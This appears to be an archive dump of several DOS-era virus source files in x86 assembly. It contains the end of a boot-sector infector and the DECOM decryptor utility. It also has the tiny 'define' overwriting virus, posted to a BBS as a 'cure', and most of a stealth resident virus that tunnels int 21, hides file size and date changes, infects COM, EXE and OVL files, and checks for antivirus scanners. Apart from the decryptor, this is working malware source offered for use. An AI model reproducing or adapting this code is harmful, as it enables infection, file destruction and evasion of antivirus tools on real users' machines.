loc_6:
|
||||
add si,1BEh
|
||||
mov di,7DBEh
|
||||
mov cx,20h
|
||||
jmp short $+15h
|
||||
|
||||
debug endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_1 proc near
|
||||
mov ax,301h
|
||||
pushf ; Push flags
|
||||
call dword ptr cs:data_16e
|
||||
jnc loc_ret_7 ; Jump if carry=0
|
||||
pop bx
|
||||
mov cl,1
|
||||
xor dh,dh ; Zero register
|
||||
jmp short $-28h
|
||||
|
||||
loc_ret_7:
|
||||
retn
|
||||
sub_1 endp
|
||||
|
||||
;* No entry point to code
|
||||
push ds
|
||||
push es
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
cld ; Clear direction
|
||||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||||
mov cx,1
|
||||
mov bx,7C00h
|
||||
mov ax,301h
|
||||
pushf ; Push flags
|
||||
call dword ptr cs:data_16e
|
||||
jc $-0Fh ; Jump if carry Set
|
||||
push ds
|
||||
pop es
|
||||
inc byte ptr cs:data_19e
|
||||
pop ds
|
||||
jmp short $-4Ch
|
||||
;* No entry point to code
|
||||
add ax,714h
|
||||
sbb al,1
|
||||
or al,75h ; 'u'
|
||||
push ss
|
||||
sbb ax,1610h
|
||||
push ds
|
||||
db 0FFh
|
||||
loc_8:
|
||||
call sub_2
|
||||
pop di
|
||||
pop si
|
||||
pop bx
|
||||
pop ax
|
||||
pushf ; Push flags
|
||||
call dword ptr cs:data_16e
|
||||
xor dh,dh ; Zero register
|
||||
mov cl,1
|
||||
retf 2 ; Return far
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_2 proc near
|
||||
cmp dl,79h ; 'y'
|
||||
ja loc_10 ; Jump if above
|
||||
mov ax,es:[bx+16h]
|
||||
mov dh,1
|
||||
cmp al,3
|
||||
jae loc_9 ; Jump if above or =
|
||||
mov cl,3
|
||||
retn
|
||||
loc_9:
|
||||
cmp al,7
|
||||
jae loc_10 ; Jump if above or =
|
||||
mov cl,5
|
||||
retn
|
||||
loc_10:
|
||||
mov cl,0Eh
|
||||
retn
|
||||
sub_2 endp
|
||||
|
||||
;* No entry point to code
|
||||
push ax
|
||||
push ds
|
||||
xor ax,ax ; Zero register
|
||||
mov ds,ax
|
||||
mov al,ds:data_3e
|
||||
and al,0Ch
|
||||
cmp al,0Ch
|
||||
jne loc_11 ; Jump if not equal
|
||||
in al,60h ; port 60h, keybd scan or sw1
|
||||
cmp al,53h ; 'S'
|
||||
jne loc_11 ; Jump if not equal
|
||||
in al,61h ; port 61h, 8255 port B, read
|
||||
push ax
|
||||
or al,80h
|
||||
out 61h,al ; port 61h, 8255 B - spkr, etc
|
||||
pop ax
|
||||
out 61h,al ; port 61h, 8255 B - spkr, etc
|
||||
; al = 0, disable parity
|
||||
mov ax,2
|
||||
int 10h ; Video display ah=functn 00h
|
||||
; set display mode in al
|
||||
mov al,20h ; ' '
|
||||
out 20h,al ; port 20h, 8259-1 int command
|
||||
; al = 20h, end of interrupt
|
||||
int 19h ; Bootstrap loader
|
||||
loc_11:
|
||||
mov al,ds:data_4e
|
||||
mov ds:data_1e,ax
|
||||
mov ds:data_2e,ax
|
||||
push cs
|
||||
pop ds
|
||||
cmp al,ds:data_19e
|
||||
jbe $+1Ah ; Jump if below or =
|
||||
xor ax,ax ; Zero register
|
||||
int 10h ; Video display ah=functn 00h
|
||||
; set display mode in al
|
||||
mov si,data_18e
|
||||
loc_12:
|
||||
mov ah,0Eh
|
||||
xor bx,bx ; Zero register
|
||||
cld ; Clear direction
|
||||
lodsb ; String [si] to al
|
||||
cmp al,0FFh
|
||||
je loc_13 ; Jump if equal
|
||||
xor al,55h ; 'U'
|
||||
int 10h ; Video display ah=functn 0Eh
|
||||
; write char al, teletype mode
|
||||
jmp short loc_12
|
||||
loc_13:
|
||||
hlt ; Halt processor
|
||||
pop ds
|
||||
pop ax
|
||||
jmp far ptr $-1930h
|
||||
db 0C9h, 0Fh, 80h, 01h, 01h, 00h
|
||||
db 06h, 0Eh,0E2h,0E7h, 22h, 00h
|
||||
db 00h, 00h, 0Eh,0C8h, 07h
|
||||
db 49 dup (0)
|
||||
db 55h,0AAh
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
@@ -0,0 +1,235 @@
|
||||
;DECOM - has few safety features right now, be careful =)
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
org 100
|
||||
include wolf.lib
|
||||
|
||||
start:
|
||||
printf intro, ds
|
||||
Release_Memory:
|
||||
mov bx,(end_unmte-start+10f)/10 ;Release all but what
|
||||
changealloc bx,es ;our prog needs.
|
||||
|
||||
Allocate_Block_For_MTE_Prog: ;Allocate memory for
|
||||
mov bx,1000 ;MTE-inf prog.
|
||||
alloc bx
|
||||
jnc Memory_Good
|
||||
jmp exit
|
||||
Memory_Good:
|
||||
push ax
|
||||
|
||||
Get_Filenames:
|
||||
printf Enter_FN, ds
|
||||
gets filename_buf, ds, 30
|
||||
printf Enter_DN, ds
|
||||
gets unenc_buf, ds, 30
|
||||
|
||||
Open_Prog:
|
||||
fopen 0, filename, cs
|
||||
jnc Load_Prog
|
||||
printf Bad_File, ds
|
||||
jmp Get_Filenames
|
||||
|
||||
Load_Prog:
|
||||
pop ax
|
||||
sub ax,10
|
||||
mov ds,ax ;Convert Seg:0 to Seg:100
|
||||
fread bx, 0ffff, 100, ax
|
||||
mov cs:[MTE_Size],ax
|
||||
mov cs:[MTE_Segment],ds
|
||||
|
||||
Close_Prog:
|
||||
fclose bx
|
||||
|
||||
Setup_Trace:
|
||||
push ds ds
|
||||
|
||||
mov byte ptr cs:[Success],1
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
get_int 1
|
||||
mov word ptr [IP_01],bx
|
||||
mov word ptr [CS_01],es
|
||||
set_int 1, Int_01_Handler, ds
|
||||
|
||||
pop ds es ;restore segment regs to MTE prog
|
||||
|
||||
cli
|
||||
mov ax,ds
|
||||
mov ss,ax ;setup new stack
|
||||
mov sp,0fffe
|
||||
sti
|
||||
|
||||
xor ax,ax
|
||||
mov bx,ax
|
||||
mov cx,ax
|
||||
mov dx,ax ;Zero all registers
|
||||
mov si,ax
|
||||
mov di,ax
|
||||
mov bp,ax
|
||||
|
||||
|
||||
pushf ;Setup stack for IRET to code
|
||||
pop ax
|
||||
or ax,100
|
||||
push ax ;Set flag on IRET
|
||||
|
||||
push ds
|
||||
mov ax,100
|
||||
push ax
|
||||
|
||||
xor ax,ax
|
||||
|
||||
iret ;Jump to MTE prog with trap set.
|
||||
|
||||
Done_Trace:
|
||||
push cs cs
|
||||
pop es ds ;restore seg regs
|
||||
|
||||
cli
|
||||
mov ax,ds
|
||||
mov ss,ax ;reset stack
|
||||
mov sp,0fffe
|
||||
sti
|
||||
|
||||
Restore_Int_01:
|
||||
mov dx, word ptr cs:[CS_01]
|
||||
mov ds,dx
|
||||
mov dx, word ptr cs:[IP_01]
|
||||
set_int 1, dx, ds
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
cmp byte ptr cs:[Success],0
|
||||
jne Save_It
|
||||
|
||||
|
||||
printf halted, ds
|
||||
jmp Exit
|
||||
|
||||
Save_It:
|
||||
mov ah,3c
|
||||
xor cx,cx
|
||||
mov dx,offset Unencrypted
|
||||
int 21
|
||||
|
||||
xchg bx,ax
|
||||
|
||||
mov ah,40
|
||||
mov dx,word ptr cs:[MTE_Segment]
|
||||
mov ds,dx
|
||||
mov dx,100
|
||||
mov cx,word ptr cs:[MTE_Size]
|
||||
int 21
|
||||
|
||||
mov ah,3e
|
||||
int 21
|
||||
Exit:
|
||||
terminate
|
||||
|
||||
Int_01_Handler:
|
||||
push bp
|
||||
mov bp,sp
|
||||
push ax bx cx dx es ds si di
|
||||
mov bx, word ptr ss:[bp+4] ;CS
|
||||
mov ds,bx
|
||||
mov bx,word ptr ss:[bp+2] ;IP
|
||||
mov ax,word ptr ss:[bp+6] ;flags
|
||||
and ax,40
|
||||
|
||||
cmp byte ptr ds:[bx],0cdh ;Interrupt call
|
||||
je Stop_Execution
|
||||
cmp byte ptr ds:[bx],9a ;Far Call
|
||||
je Stop_Execution
|
||||
cmp byte ptr ds:[bx],9c ;Pushf
|
||||
je Stop_Execution
|
||||
|
||||
ES_DS_CHeck:
|
||||
push bx
|
||||
mov bx,ds
|
||||
cmp word ptr ds:[bp-0c],bx ;CS != DS
|
||||
jne Done_Check
|
||||
cmp word ptr ds:[bp-0a],bx ;CS != ES
|
||||
Done_Check:
|
||||
pop bx
|
||||
jne Stop_Execution
|
||||
|
||||
|
||||
Check_For_Encryption_Loop:
|
||||
cmp byte ptr ds:[bx],75 ;Check if JNZ (end of MTE decrypt)
|
||||
je Is_JNZ
|
||||
cmp byte ptr ds:[bx],74 ;Check for other loop jumps..
|
||||
je Is_JZ
|
||||
cmp byte ptr ds:[bx],0e0
|
||||
je Is_LOOPNZ
|
||||
cmp byte ptr ds:[bx],0e1
|
||||
je Is_LOOPZ
|
||||
cmp byte ptr ds:[bx],0e2
|
||||
je Is_LOOP
|
||||
Continue_Decrypt:
|
||||
Done_Int_01_Handler:
|
||||
pop di si ds es dx cx bx ax
|
||||
pop bp
|
||||
iret
|
||||
|
||||
Stop_Execution:
|
||||
mov byte ptr cs:[Success],0
|
||||
jmp Done_Trace
|
||||
|
||||
|
||||
Is_LOOPNZ:
|
||||
Is_JNZ:
|
||||
or ax,ax
|
||||
jz Jump_True
|
||||
jmp Jump_False
|
||||
|
||||
Is_LOOPZ:
|
||||
Is_JZ:
|
||||
or ax,ax
|
||||
jz Jump_False
|
||||
jmp Jump_True
|
||||
|
||||
Is_LOOP:
|
||||
dec cx
|
||||
jz Jump_False
|
||||
jmp Jump_True
|
||||
|
||||
Jump_False:
|
||||
cmp byte ptr ds:[bx+1], 80
|
||||
jae Done_Decrypt
|
||||
jmp Continue_Decrypt
|
||||
|
||||
Jump_True:
|
||||
cmp byte ptr ds:[bx+1],80
|
||||
;jae Continue_Decrypt
|
||||
jmp Continue_Decrypt ;MTE only... change later
|
||||
Done_Decrypt:
|
||||
jmp Done_Trace
|
||||
|
||||
|
||||
IP_01 dw 0
|
||||
CS_01 dw 0
|
||||
|
||||
MTE_Segment dw 0
|
||||
MTE_Size dw 0
|
||||
|
||||
Success db 0
|
||||
|
||||
halted db 0a,0dh,'Sorry, cannot decrypt file safely.',0
|
||||
intro db 'DECOM 0.9á, COM (MTE) File Decryptor (c) 1993 Black Wolf.',0a,0dh
|
||||
db 'Beta-Test Version, Use At Your Own Risk.',0
|
||||
Enter_FN db 0a,0dh,'Please Enter Source Filename: ',0
|
||||
Enter_DN db 0a,0dh,'Now Enter The Destination Filename: ',0
|
||||
Bad_File db 0a,0dh,'Sorry, file not found.',0
|
||||
|
||||
filename_buf db ?,?
|
||||
filename db 30 dup(?)
|
||||
|
||||
unenc_buf db ?,?
|
||||
unencrypted db 30 dup(?)
|
||||
|
||||
end_unmte:
|
||||
end start
|
||||
@@ -0,0 +1,67 @@
|
||||
;===========================================================================
|
||||
;Date: 05-24-91 (0:06) Number: 6288 THE APEX BBS
|
||||
;From: Mike Hathorn Refer#: NONE
|
||||
;To: All Recvd: NO
|
||||
;Subj: define Conf: (54) Virus
|
||||
;---------------------------------------------------------------------------
|
||||
|
||||
;Gentlemen,
|
||||
|
||||
|
||||
;The following assembly source code is the cure for the define
|
||||
;virus. Define, because it is my belief that by the definition
|
||||
;of a virus, no stable virus can be written smaller than define.
|
||||
|
||||
; Code compiled under MASM ver 4.00
|
||||
; Use DOS EXE2BIN to convert to .COM file
|
||||
; Code assumes SI=100h, AX=00h
|
||||
; (c) 1991 Mithrandir
|
||||
|
||||
|
||||
TITLE DEFINE
|
||||
CODE SEGMENT
|
||||
|
||||
|
||||
ASSUME CS : CODE
|
||||
ORG 100h
|
||||
|
||||
|
||||
VIRUS_CURE:
|
||||
XCHG CX,AX ;exchange register values and setup search
|
||||
;for normal files
|
||||
MOV AH,4Eh ;setup search for first match
|
||||
MOV DX,OFFSET File ;point to search criteria
|
||||
INT 21h ;search for any normal file
|
||||
|
||||
|
||||
MOV AX,3D01h ;setup open file with write access
|
||||
MOV DX,09Eh ;point to file ASCIIZ spec
|
||||
INT 21h ;open file
|
||||
XCHG BX,AX
|
||||
|
||||
|
||||
MOV AH,40h ;setup write to file
|
||||
MOV DX,SI ;write this code
|
||||
MOV CX,SI ;this many bytes
|
||||
INT 21h ;write it
|
||||
|
||||
|
||||
RET
|
||||
|
||||
|
||||
File:
|
||||
DB '*.*',0
|
||||
|
||||
|
||||
CODE ENDS
|
||||
|
||||
|
||||
END VIRUS_CURE
|
||||
|
||||
|
||||
|
||||
;Mithrandir
|
||||
|
||||
|
||||
;--- Opus-CBCS 1.14
|
||||
;* Origin: The Mad Dog Opus (5:7104/3.0)
|
||||
@@ -0,0 +1,960 @@
|
||||
; =======================================================================>
|
||||
|
||||
PING equ 0BF1h ; a worthless DOS function
|
||||
PONG equ 0DEAFh ; response to residency test
|
||||
|
||||
code segment
|
||||
org 100h
|
||||
assume cs:code,ds:code
|
||||
|
||||
start:
|
||||
jmp virus_begin ; fake host program
|
||||
db 26 dup (0)
|
||||
|
||||
virus_begin:
|
||||
db 0BBh ; mov bx,
|
||||
code_offset dw 0
|
||||
db 0B0h ; mov al,
|
||||
cipher db 0
|
||||
decrypt:
|
||||
db 02Eh ; cs:
|
||||
decryptor_1: xor [bx],al
|
||||
inc bx
|
||||
shift_1: neg al
|
||||
db 81h,0FBh ; cmp bx,
|
||||
code_offset_2 dw 0
|
||||
jbe decrypt
|
||||
viral_code:
|
||||
call $ + 3 ; BP is instruction ptr.
|
||||
pop bp
|
||||
sub bp,offset $ - 1
|
||||
|
||||
push ds es ; save segregs
|
||||
|
||||
jmp kill_sourcer ; mess with disassemblers
|
||||
db 0E9h
|
||||
kill_sourcer:
|
||||
xor ah,ah ; create or delete the
|
||||
int 1Ah ; \DEI.COM file at random
|
||||
cmp dx,0FE00h ; times ...
|
||||
jb dont_drop
|
||||
call drop_program
|
||||
jmp dont_delete
|
||||
dont_drop:
|
||||
cmp dx,0800h
|
||||
ja dont_delete
|
||||
call delete_program
|
||||
dont_delete:
|
||||
mov ax,PING ; residency test
|
||||
int 21h
|
||||
cmp bx,PONG ; if installed,
|
||||
jne not_installed ; don't install again
|
||||
jmp installed
|
||||
not_installed:
|
||||
mov ax,es ; install ourselves
|
||||
dec ax ; in memory
|
||||
mov ds,ax
|
||||
|
||||
sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
|
||||
sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
|
||||
mov ax,ds:[12h] ; doing some calculations and
|
||||
mov ds,ax ; a bit of manipulation to
|
||||
|
||||
sub ax,15 ; memory
|
||||
mov es,ax ; ES points to our destiny
|
||||
mov byte ptr ds:[0],'Z'
|
||||
mov word ptr ds:[1],8
|
||||
mov word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
|
||||
|
||||
push cs ; zopy it
|
||||
pop ds
|
||||
mov di,100h
|
||||
mov cx,virus_end - start
|
||||
lea si,[bp + start]
|
||||
rep movsb
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
|
||||
sub word ptr ds:[413h],7 ; allocate memory from BIOS
|
||||
|
||||
mov si,21h * 4 ; saving old interrupt 21
|
||||
mov di,offset old_int_21 ; first
|
||||
movsw
|
||||
movsw
|
||||
|
||||
lea dx,[bp + int_1]
|
||||
mov ds:[4],dx ; recursive tunneling -
|
||||
mov ds:[6],cs ; trace through interrupt 21
|
||||
|
||||
push es
|
||||
mov ah,52h ; get list of lists
|
||||
int 21h ; for segment of DOS's int 21
|
||||
mov ax,es
|
||||
mov cs:[bp + int_21_seg],ax
|
||||
pop es
|
||||
mov [bp + our_es],es
|
||||
|
||||
mov ax,100h ; set trap flag
|
||||
push ax
|
||||
popf
|
||||
|
||||
mov ah,0Bh ; and send us down the tunnel
|
||||
pushf
|
||||
call dword ptr ds:[21h * 4]
|
||||
|
||||
xor ax,ax ; turn off trap flag
|
||||
push ax
|
||||
popf
|
||||
|
||||
mov word ptr ds:[si - 4],0 ; little anti-trace ...
|
||||
|
||||
mov ds:[si - 4],offset new_int_21
|
||||
mov ds:[si - 2],es ; and set new interrupt 21
|
||||
|
||||
installed:
|
||||
pop es ds
|
||||
cmp cs:[bp + exe_flag],1 ; is this an .EXE file?
|
||||
je exe_exit ; if so, exit as such
|
||||
com_exit:
|
||||
lea si,[bp + offset host] ; restore original header
|
||||
mov di,100h
|
||||
push di
|
||||
mov cx,28
|
||||
rep movsb
|
||||
|
||||
call reset_regs
|
||||
|
||||
ret ; and leave
|
||||
|
||||
exe_exit:
|
||||
|
||||
mov ax,ds
|
||||
add ax,cs:[bp + exe_cs]
|
||||
mov word ptr cs:[bp + jump_to + 2],ax
|
||||
mov ax,cs:[bp + exe_ip]
|
||||
mov word ptr cs:[bp + jump_to],ax
|
||||
|
||||
mov ax,ds
|
||||
add ax,cs:[bp + exe_ss] ; restore original stack
|
||||
cli
|
||||
mov ss,ax
|
||||
mov sp,cs:[bp + exe_sp]
|
||||
|
||||
call reset_regs ; reset registers
|
||||
|
||||
db 0EAh
|
||||
jump_to dd 0
|
||||
|
||||
reset_regs:
|
||||
mov si,100h
|
||||
xor ax,ax
|
||||
xor bx,bx
|
||||
xor di,di
|
||||
xor bp,bp
|
||||
ret
|
||||
|
||||
; int 1 handler for tunneling.
|
||||
|
||||
int_21_seg dw 0 ; original int 21 segment
|
||||
our_es dw 0 ; our ES
|
||||
|
||||
int_1:
|
||||
push bp ; save registers used
|
||||
mov bp,sp
|
||||
|
||||
push ax
|
||||
mov ax,[bp + 4] ; SEGMENT of next instruction
|
||||
|
||||
push bp
|
||||
call get_dest_seg ; get location pointer
|
||||
get_dest_seg:
|
||||
pop bp
|
||||
|
||||
cmp ax,cs:[bp - (get_dest_seg - int_21_seg)]
|
||||
pop bp ; restore BP
|
||||
jbe tunneled ; found, we're through
|
||||
|
||||
push ds si ; no, check next instruction
|
||||
|
||||
mov ds,ax
|
||||
mov si,[bp + 2] ; OFFSET of next instruction
|
||||
lodsb ; next instruction in AL
|
||||
|
||||
cmp al,0CFh ; IRET instruction?
|
||||
je set_iret ; adjust accordingly
|
||||
|
||||
cmp al,09Dh ; POPF instruction?
|
||||
je set_popf ; adjust
|
||||
|
||||
jmp flag_check_done ; never mind ...
|
||||
|
||||
tunneled: ; we're done ... save segment
|
||||
push es si
|
||||
call get_our_es
|
||||
get_our_es:
|
||||
pop si
|
||||
mov si,cs:[si - (get_our_es - our_es)]
|
||||
mov es,si
|
||||
mov word ptr es:[old_int_21 + 2],ax
|
||||
mov ax,[bp + 2] ; and offset
|
||||
mov word ptr es:[old_int_21],ax
|
||||
and [bp + 6],0FEFFh ; deinstall tunnel routine
|
||||
pop si es
|
||||
jmp exit
|
||||
|
||||
set_iret:
|
||||
or [bp + 10],100h ; OFFSET of second interrupt
|
||||
jmp flag_check_done ; call on stack (flags)
|
||||
|
||||
set_popf:
|
||||
or [bp + 6],100h ; OFFSET of word before
|
||||
; interrupt call on stack
|
||||
flag_check_done:
|
||||
pop si ds
|
||||
exit:
|
||||
pop ax bp
|
||||
iret
|
||||
|
||||
; int 24 handler.
|
||||
; DOS changes it back automatically.
|
||||
|
||||
new_int_24:
|
||||
mov al,3 ; simple enough
|
||||
iret
|
||||
|
||||
; ================================================>
|
||||
; int 21 handler.
|
||||
; trap 11h,12h,3Dh,3Fh,4Bh,4Eh,4Fh,6Ch, and 5700h
|
||||
; ================================================>
|
||||
|
||||
int_21:
|
||||
pushf
|
||||
call dword ptr cs:[old_int_21]
|
||||
ret
|
||||
|
||||
new_int_21:
|
||||
cmp ax,PING ; are we checking on ourself?
|
||||
je pass_signal ; yes, give the signal
|
||||
|
||||
cmp ax,4B00h ; program execution?
|
||||
je execute ; uh - huh
|
||||
|
||||
cmp ah,11h ; directory stealth method 1
|
||||
je dir_stealth_1 ; (hide from DIR listing)
|
||||
cmp ah,12h
|
||||
je dir_stealth_1
|
||||
|
||||
cmp ah,4Eh ; directory stealth method 2
|
||||
je dir_stealth_2 ; (hide from ASCIIZ search)
|
||||
cmp ah,4Fh
|
||||
je dir_stealth_2
|
||||
|
||||
cmp ah,3Dh ; file open method 1
|
||||
jne go_on
|
||||
jmp file_open
|
||||
go_on:
|
||||
cmp ah,6Ch ; file open method 2
|
||||
jne go_on_2
|
||||
jmp file_open
|
||||
go_on_2:
|
||||
cmp ah,3Fh ; file read
|
||||
jne go_on_3
|
||||
jmp file_read
|
||||
go_on_3:
|
||||
cmp ax,5700h ; get date
|
||||
jne int_21_exit
|
||||
jmp fix_date
|
||||
|
||||
int_21_exit:
|
||||
db 0EAh ; never mind ...
|
||||
old_int_21 dd 0
|
||||
|
||||
pass_signal:
|
||||
mov bx,PONG ; pass signal
|
||||
jmp int_21_exit
|
||||
|
||||
execute:
|
||||
call check_name
|
||||
jc skip_infect ; don't infect if marked
|
||||
call infect_ds_dx ; simple enough ...
|
||||
skip_infect:
|
||||
jmp int_21_exit
|
||||
|
||||
dir_stealth_1:
|
||||
call int_21 ; do it
|
||||
test al,al ; if al = -1
|
||||
js cant_find ; then don't bother
|
||||
|
||||
push ax bx es ; check file for infection
|
||||
|
||||
mov ah,2Fh
|
||||
int 21h
|
||||
|
||||
cmp byte ptr es:[bx],-1 ; check for extended FCB
|
||||
jne no_ext_FCB
|
||||
add bx,7
|
||||
|
||||
no_ext_FCB:
|
||||
mov ax,es:[bx + 19h]
|
||||
cmp ah,100 ; check years -
|
||||
jb fixed ; if 100+, infected
|
||||
|
||||
ror ah,1
|
||||
sub ah,100
|
||||
rol ah,1
|
||||
mov es:[bx + 19h],ax
|
||||
|
||||
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 28
|
||||
sbb word ptr es:[bx + 1Fh],0
|
||||
fixed:
|
||||
pop es bx ax
|
||||
cant_find:
|
||||
iret
|
||||
|
||||
|
||||
dir_stealth_2:
|
||||
call int_21 ; perform file search
|
||||
jnc check_file_2 ; if found, proceed
|
||||
retf 2 ; nope, leave
|
||||
check_file_2:
|
||||
push ax bx si es
|
||||
|
||||
mov ah,2Fh ; find DTA
|
||||
int 21h
|
||||
|
||||
mov ax,es:[bx + 18h]
|
||||
cmp ah,100 ; check for infection marker
|
||||
jb fixed_2
|
||||
|
||||
ror ah,1 ; fix up date
|
||||
sub ah,100
|
||||
rol ah,1
|
||||
mov es:[bx + 18h],ax
|
||||
|
||||
sub word ptr es:[bx + 1Ah],VIRUS_SIZE + 28
|
||||
sbb word ptr es:[bx + 1Ch],0
|
||||
fixed_2:
|
||||
pop es si bx ax ; done
|
||||
clc
|
||||
retf 2
|
||||
|
||||
file_open:
|
||||
call try_infecting ; try to infect file
|
||||
|
||||
call int_21 ; open file
|
||||
jc open_fail ; carry set, open failed
|
||||
|
||||
cmp ax,5 ; if handle is a device,
|
||||
jb dont_bother ; don't bother with it
|
||||
|
||||
push ax bx di es
|
||||
|
||||
xchg ax,bx
|
||||
push bx
|
||||
mov ax,1220h ; get system file table
|
||||
int 2Fh ; entry
|
||||
|
||||
nop ; anti-SCAN
|
||||
|
||||
mov bl,es:[di]
|
||||
mov ax,1216h
|
||||
int 2Fh
|
||||
pop bx
|
||||
|
||||
call check_datestamp ; check datestamp
|
||||
jb dont_stealth
|
||||
|
||||
cmp word ptr es:[di],1 ; if file has already
|
||||
ja dont_stealth ; been opened, don't stealth
|
||||
|
||||
sub es:[di + 11h],VIRUS_SIZE + 28
|
||||
sbb word ptr es:[di + 13h],0 ; stealth it ... change file
|
||||
; size
|
||||
|
||||
dont_stealth:
|
||||
pop es di bx ax ; restore everything
|
||||
dont_bother:
|
||||
clc
|
||||
open_fail:
|
||||
retf 2 ; and return
|
||||
|
||||
file_read:
|
||||
cmp bx,5 ; if read from device,
|
||||
jae check_it_out ; don't bother
|
||||
jmp forget_it
|
||||
|
||||
check_it_out:
|
||||
push si di es ax bx cx
|
||||
|
||||
push bx
|
||||
mov ax,1220h ; get SFTs
|
||||
int 2Fh
|
||||
|
||||
nop
|
||||
|
||||
mov bl,es:[di]
|
||||
mov ax,1216h
|
||||
int 2Fh
|
||||
pop bx
|
||||
|
||||
call check_datestamp ; 100+ years
|
||||
jae check_pointer ; is the magic number
|
||||
jmp no_read_stealth
|
||||
check_pointer:
|
||||
cmp word ptr es:[di + 17h],0 ; if file pointer above 64K,
|
||||
je check_pointer_2 ; then skip it
|
||||
jmp no_read_stealth
|
||||
|
||||
check_pointer_2:
|
||||
cmp word ptr es:[di + 15h],28 ; if file pointer under 28,
|
||||
jae no_read_stealth ; then DON'T
|
||||
|
||||
push es:[di + 15h] ; save it
|
||||
|
||||
mov ah,3Fh
|
||||
call int_21 ; do the read function
|
||||
|
||||
pop cx ; now find how many bytes
|
||||
push ax ; (Save AX value)
|
||||
sub cx,28 ; we have to change ...
|
||||
neg cx ; and where
|
||||
|
||||
cmp ax,cx ; if more than 28 were read,
|
||||
jae ok ; ok
|
||||
|
||||
xchg ax,cx ; otherwise, switch around
|
||||
ok:
|
||||
push ds cx dx
|
||||
|
||||
push es:[di + 15h] ; save current file pointer
|
||||
push es:[di + 17h]
|
||||
|
||||
add es:[di + 11h],VIRUS_SIZE + 28
|
||||
adc word ptr es:[di + 13h],0
|
||||
mov ax,es:[di + 11h] ; fix up file size to prevent
|
||||
sub ax,28 ; read past end of file
|
||||
|
||||
mov es:[di + 15h],ax
|
||||
mov ax,es:[di + 13h]
|
||||
mov es:[di + 17h],ax
|
||||
|
||||
push cs ; now read in real first 28
|
||||
pop ds ; bytes
|
||||
mov dx,offset read_buffer
|
||||
mov cx,28
|
||||
mov ah,3Fh
|
||||
call int_21
|
||||
|
||||
sub es:[di + 11h],VIRUS_SIZE + 28
|
||||
sbb word ptr es:[di + 13h],0
|
||||
|
||||
pop es:[di + 17h] ; restore file pointer
|
||||
pop es:[di + 15h]
|
||||
|
||||
pop dx cx ds ; now we move our 28 bytes
|
||||
push ds ; into theirs ...
|
||||
pop es
|
||||
|
||||
mov di,dx
|
||||
mov si,offset read_buffer
|
||||
push cs
|
||||
pop ds
|
||||
rep movsb ; done
|
||||
|
||||
push es ; restore DS
|
||||
pop ds
|
||||
|
||||
pop ax
|
||||
pop cx bx es es di si
|
||||
clc
|
||||
retf 2
|
||||
|
||||
no_read_stealth:
|
||||
pop cx bx ax es di si
|
||||
forget_it:
|
||||
jmp int_21_exit
|
||||
|
||||
fix_date:
|
||||
call int_21 ; get date
|
||||
jc an_error
|
||||
cmp dh,100 ; if years > 100,
|
||||
jb date_fixed ; fix it up
|
||||
ror dh,1
|
||||
sub dh,100
|
||||
rol dh,1
|
||||
date_fixed:
|
||||
iret
|
||||
an_error:
|
||||
retf 2
|
||||
; Called routines
|
||||
|
||||
; this routine checks for a .COM or .EXE file
|
||||
try_infecting:
|
||||
push di es cx ax
|
||||
|
||||
cmp ax,6C00h ; extended open fix
|
||||
jne get_ext
|
||||
xchg dx,si
|
||||
get_ext:
|
||||
mov di,dx ; find program extension
|
||||
push ds
|
||||
pop es
|
||||
mov cx,64
|
||||
mov al,'.'
|
||||
repnz scasb
|
||||
pop ax
|
||||
jcxz let_it_be ; ... "ecch" ...
|
||||
|
||||
cmp [di],'OC' ; .COM file?
|
||||
jne perhaps_exe ; maybe .EXE, then
|
||||
cmp byte ptr [di + 2],'M'
|
||||
jne let_it_be ; not program, don't infect
|
||||
jmp yes_infect_it
|
||||
perhaps_exe:
|
||||
cmp [di],'XE' ; .EXE file?
|
||||
jne one_more_try ; maybe ... .OVL?
|
||||
cmp byte ptr [di + 2],'E'
|
||||
jne let_it_be
|
||||
jmp yes_infect_it
|
||||
one_more_try:
|
||||
cmp [di],'VO' ; .OVL file?
|
||||
jne let_it_be
|
||||
cmp byte ptr [di + 2],'L'
|
||||
jne let_it_be
|
||||
yes_infect_it:
|
||||
call check_name ; don't infect forbidden
|
||||
jc let_it_be ; programs
|
||||
call infect_ds_dx
|
||||
let_it_be:
|
||||
cmp ah,6Ch ; extended open fixup
|
||||
jne get_out
|
||||
xchg dx,si
|
||||
get_out:
|
||||
pop cx es di
|
||||
ret
|
||||
|
||||
; this routine checks the filename at DS:DX for certain 'bad' programs
|
||||
|
||||
check_name:
|
||||
push ax cx es di
|
||||
|
||||
push ds ; find extension
|
||||
pop es
|
||||
mov di,dx
|
||||
mov cx,64
|
||||
mov al,'.'
|
||||
repnz scasb
|
||||
|
||||
cmp word ptr [di - 3],'NA' ; SCAN or TBSCAN
|
||||
jne pass_1
|
||||
cmp word ptr [di - 5],'CS'
|
||||
je av_prog
|
||||
pass_1:
|
||||
cmp word ptr [di - 3],'TO' ; Frisk's F-PRoT
